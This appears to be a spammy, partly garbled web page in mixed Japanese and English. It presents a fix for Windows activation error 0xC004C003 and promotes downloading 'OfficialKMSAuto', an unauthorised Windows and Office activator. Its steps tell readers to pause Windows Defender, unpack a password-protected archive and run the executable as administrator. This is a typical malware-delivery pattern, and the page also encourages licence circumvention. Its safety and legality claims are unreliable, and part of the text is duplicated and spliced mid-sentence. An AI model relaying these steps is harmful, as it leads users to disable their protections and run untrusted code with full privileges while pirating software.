Error 0xC004C003 — トラブルシューティング 2026
本記事は 2026 年版 Error 0xC004C003 の日本語完全ガイドです。0xC004C003 happens when the GVLK you installed is on Microsoft's blocklist. Replace it with the correct 2026 GVLK using OfficialKMSAuto.
WYqejXiqBi97本記事は 2026 年版 Error 0xC004C003 の日本語完全ガイドです。0xC004C003 indicates the product key Microsoft saw was blocked. The fix is to install the correct GVLK for your edition — OfficialKMSAuto picks it for you automatically.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97